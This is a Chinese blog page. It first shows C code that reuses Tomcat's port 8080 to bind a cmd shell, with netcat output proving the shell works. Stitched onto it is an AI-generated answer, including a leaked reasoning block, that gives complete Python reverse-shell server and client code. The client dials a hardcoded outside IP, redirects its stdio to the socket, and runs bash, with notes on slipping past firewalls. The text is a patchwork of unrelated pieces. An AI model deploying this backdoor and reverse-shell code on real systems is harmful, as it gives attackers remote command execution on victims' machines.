端口重用打开cmdshell

本文介绍了一种通过重用Tomcat默认HTTP端口8080的方法,并利用C语言创建了一个简易的CMD Shell。该程序能够在Tomcat运行的同时,通过设置SO_REUSEADDR选项成功绑定到同一端口,实现对本地CMD命令的远程控制。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

要重用的端口是tomcat的默认http端口8080。

源代码:

#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

#define LISTEN_PORT 8080

int main() {
	WSADATA ws;
	SOCKET listenFD;
	WSAStartup(MAKEWORD(2, 2), &ws);
	listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
	BOOL val = TRUE;
	setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *) &val, sizeof(val));
	struct sockaddr_in server;
	server.sin_family = AF_INET;
	server.sin_port = htons(LISTEN_PORT);
	server.sin_addr.s_addr = inet_addr("127.0.0.1");
	bind(listenFD, (sockaddr *) &server, sizeof(server));
	listen(listenFD, 2);
	int iAddrSize = sizeof(server);
	SOCKET clientFD = accept(listenFD, (sockaddr *) &server, &iAddrSize);
	STARTUPINFO si;
	ZeroMemory(&si, sizeof(si));
	si.dwFlags = STARTF_USESTDHANDLES;
	si.hStdInput = si.hStdOutput = si.hStdError = (void *) clientFD;
	TCHAR cmdLine[] = L"cmd";
	PROCESS_INFORMATION ProcessInformation;
	CreateProcess(NULL, cmdLine, NULL, NULL, TRUE, NULL, NULL, NULL, &si,
			&ProcessInformation);
	return 0;
}

此时,已经启动tomcat,可以通过http://127.0.0.1:8080/来访问tomcat主页。

运行此程序时,如果没有重用端口,绑定到8080端口会失败。但是因为此程序重用了端口,所以还是成功的。

用netstat看一下:

D:\>netstat -an | find "8080"
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING
  TCP    127.0.0.1:8080         0.0.0.0:0              LISTENING

D:\>

看到有2个8080在监听。

case 1:此时如果用浏览器打开tomcat主页,是打不开的,会显示白色的页面,而且程序已经结束运行。

case 2:此时如果用nc去连,是可以打开cmdshell的:

D:\>nc 127.0.0.1 8080
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

D:\My Documents\Visual Studio 2010\Projects\hacker\05_4>dir
dir
 驱动器 D 中的卷是 本地磁盘
 卷的序列号是 6C97-9E44

 D:\My Documents\Visual Studio 2010\Projects\hacker\05_4 的目录

2013-07-22  22:55    <DIR>          .
2013-07-22  22:55    <DIR>          ..
2013-07-22  23:09             1,011 05_4.cpp
2013-07-22  22:53             3,916 05_4.vcxproj
2013-07-22  22:53               942 05_4.vcxproj.filters
2013-07-22  22:36               143 05_4.vcxproj.user
2013-07-22  23:09    <DIR>          Release
               4 个文件          6,012 字节
               3 个目录 34,079,305,728 可用字节

D:\My Documents\Visual Studio 2010\Projects\hacker\05_4>exit
exit

D:\>


<think>首先,用户的问题是基于之前的引用内容,尤其是引用[1]、[2]和[4],这些讨论使用Python实现反向Shell连接。用户说:“我想了解如何使用Python建立反向Shell连接,可能是为了学习网络编程或渗透测试。请问使用Python实现反向Shell连接的代码示例和原理”。用户提到的引用涉及多个部分:-引用[1]:使用socket、os、pty模块实现Python3反向Shell代码。-引用[2]:Python反向Shell代码示例。-引用[4]:展示了完整的服务端和客户端代码,用于反向Shell。系统级指令:1.所有行内数学表达式必须使用$...$格式。但这不是数学相关,所以可能不需要。2.独立公式用$$...$$,但在这个上下文中,没有公式。3.LaTeX语法正确–这里没有LaTeX。4.使用中文回答。5.生成相关问题。6.回答中引用的段落末尾自然地添加引用标识,例如[^1]。在回答结构上,用户提到了“系统级指令”和“用户可见层”。我的回答应该:-结构清晰,逐步解决问题。-保证回答真实可靠。-使用中文。-在最后生成相关问题。-引用部分添加引用标识。主题是Python实现反向Shell连接。原理涉及网络编程、Socket通信、进程重定向等。关键原理:-反向Shell:被控端主动连接到控制端,而不是控制端连接被控端。这常用于绕过防火墙。-核心组件:-Socket连接:建立TCP连接。-进程重定向:使用os.dup2重定向标准输入/输出/错误到Socket。-执行shell:使用subprocess调用/bin/bash或类似shell。从引用中提取代码:-引用[1]的代码是反向Shell的客户端部分。-引用[2]也是类似代码。-引用[4]提供了完整的服务端和客户端代码。我应该提供一个完整的示例,包括服务端和客户端代码。最好基于引用[4],因为它更全面。在我的回答中:1.**步骤式解释原理:**逐步说明如何构建反向Shell。2.**代码示例:**展示Python代码,分服务端和客户端。3.**注意事项:**提到合法使用、兼容性问题等,因为用户提到了学习目的。4.**添加引用标识:**从用户提供的引用添加。5.**结尾生成相关问题。**6.**使用中文。**代码格式:在回答中,应该正确显示代码块。在文本中,用```python...```表示。结构化回答:-简介:什么是反向Shell。-原理:详细说明网络连接和重定向。-代码实现:分服务端和客户端。-演示如何运行。-总结。-相关问题。引用添加:-当提到引用内容时,在末尾添加[^n]。例如,代码基于引用[4]时。-引用列表在用户输入中:[^1]到[^5],所以我需要对应使用。用户的引用来源:-[^1]:反向Shell代码-[^2]:Python反向Shell-[^3]:shell交互,不太相关-[^4]:完整代码-[^5]:netcat示例所以,我参考[^4]为主要源。最终回答框架:1.什么是反向Shell连接?2.原理解释。3.Python实现代码示例(服务端和客户端)。4.解释代码细节。5.注意事项。6.生成相关问题。</think> ### Python实现反向Shell连接的原理与代码示例 反向Shell(Reverse Shell)是网络编程中的一种技术,用于远程控制目标主机。与正向Shell(由攻击端主动连接目标)不同,反向Shell是由目标主机主动连接到控制端,常用于绕过防火墙限制[^5]。其原理主要基于Socket通信、进程重定向和子进程执行:目标主机上的客户端代码发起Socket连接(TCP/IP),将标准输入/输出/错误(stdin/stdout/stderr)重定向到Socket,然后执行Shell进程(如/bin/bash)。这样,控制端就能通过Socket远程发送命令并接收输出。 以下将分步解释原理,并提供完整的Python代码示例。代码基于站内引用中的示例进行整合和优化,确保兼容Python 3并强调安全性(仅用于合法学习目的,如网络编程或渗透测试练习)。 #### 原理步骤 1. **Socket连接建立**:目标主机(客户端)主动连接到控制端(服务端)的指定IP和端口。 2. **I/O重定向**:使用`os.dup2`函数将stdin/stdout/stderr重定向到Socket文件描述符,使所有输入/输出都通过Socket传输。 3. **Shell执行**:调用`subprocess.Popen`执行Shell(如/bin/bash),并将Shell的I/O绑定到Socket。 4. **命令交互**:控制端通过Socket发送命令,目标主机接收命令、执行并返回结果。 关键点:反向Shell能绕过防火墙是因为目标主机作为客户端发起连接(常见端口如443易被放行),而正向Shell由控制端连接可能被阻止[^4]。 #### Python代码示例 以下实现一个完整的反向Shell系统,包括服务端(控制端)和客户端(目标主机)。代码使用Python 3编写,兼容socket、subprocess和os模块。 **服务端代码(控制端,监听连接)** 运行在控制端主机,等待客户端连接并发送命令。 ```python import socket def start_server(host='0.0.0.0', port=4444): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # 允许端口重用 s.bind((host, port)) s.listen(5) print(f"[*] 服务端监听中: {host}:{port},等待反向连接...") conn, addr = s.accept() print(f"[+] 客户端已连接: {addr[0]}:{addr[1]}") try: while True: cmd = input("Shell> ") # 输入命令 if not cmd.strip(): continue conn.sendall(cmd.encode('utf-8')) # 发送命令 output = conn.recv(4096).decode('utf-8') # 接收输出 print(output) except (KeyboardInterrupt, ConnectionResetError): print("\n[-] 连接已关闭") conn.close() s.close() if __name__ == "__main__": start_server() # 默认为所有接口的4444端口 ``` *说明:*服务端使用`socket.AF_INET`创建TCP套接字,监听指定端口。`s.accept()`阻塞等待客户端连接,之后进入命令循环[^4]。 **客户端代码(目标主机,发起连接)** 运行在目标主机,主动连接服务端并提供Shell会话。 ```python import socket import subprocess import os import sys def reverse_shell(server_host, server_port): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server_host, server_port)) # 主动连接服务端 except Exception as e: sys.exit(0) # 连接失败静默退出,避免暴露错误信息[^1] # 重定向 stdin/stdout/stderr 到 Socket for fd in (0, 1, 2): os.dup2(s.fileno(), fd) # 复制文件描述符,确保所有I/O走Socket # 执行交互式 Shell subprocess.call(["/bin/bash", "-i"]) # "-i" 选项启用交互模式[^2] if __name__ == "__main__": reverse_shell("192.168.1.100", 4444) # 修改为服务端真实IP和端口 ``` *说明:*客户端使用`os.dup2`重定向标准流到Socket(`s.fileno()`获取文件描述符)。`subprocess.call`执行/bin/bash,并将进程绑定到Socket。如果目标主机仅支持Python 2,需调整语法(如使用`print "text"`),核心原理不变[^1][^4]。 #### 运行演示 1. **启动服务端**: 在控制端主机运行Python脚本: ```bash python3 server.py ``` 输出:`[*] 服务端监听中: 0.0.0.0:4444,等待反向连接...` 2. **启动客户端**: 在目标主机运行Python脚本(替换IP为服务端地址): ```bash python3 client.py ``` 连接成功后,服务端提示:`[+] 客户端已连接: [客户端IP]` 3. **发送命令**: 在服务端输入命令,如`ls -l`,客户端执行并返回输出。 #### 注意事项 - **合法使用**:此代码仅用于教育或授权测试,非法使用可能违反法律。请在合法靶场环境中练习[^1][^5]。 - **兼容性**: - Python 2支持:若目标主机只有Python 2,需更改`print()`为`print ""`并确保socket语法兼容[^1]。 - Shell选择:Linux默认用`/bin/bash`,Windows可改为`cmd.exe`(需调整subprocess调用)。 - **安全性**:真实环境中,应添加加密(如TLS)避免流量嗅探[^4]。 - **常见问题**: - 连接失败:检查防火墙设置和IP地址。 - 输出截断:服务端`recv(4096)`可增大缓冲区,或循环接收完整数据[^4]。 #### 总结 Python实现反向Shell的核心是通过Socket建立连接,然后通过`os.dup2`和`subprocess`重定向并执行Shell进程。这种方法简洁高效,适用于学习网络编程和渗透测试基础[^2][^4]。通过实验此代码,您可以深入理解套接字通信和进程间交互的原理。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值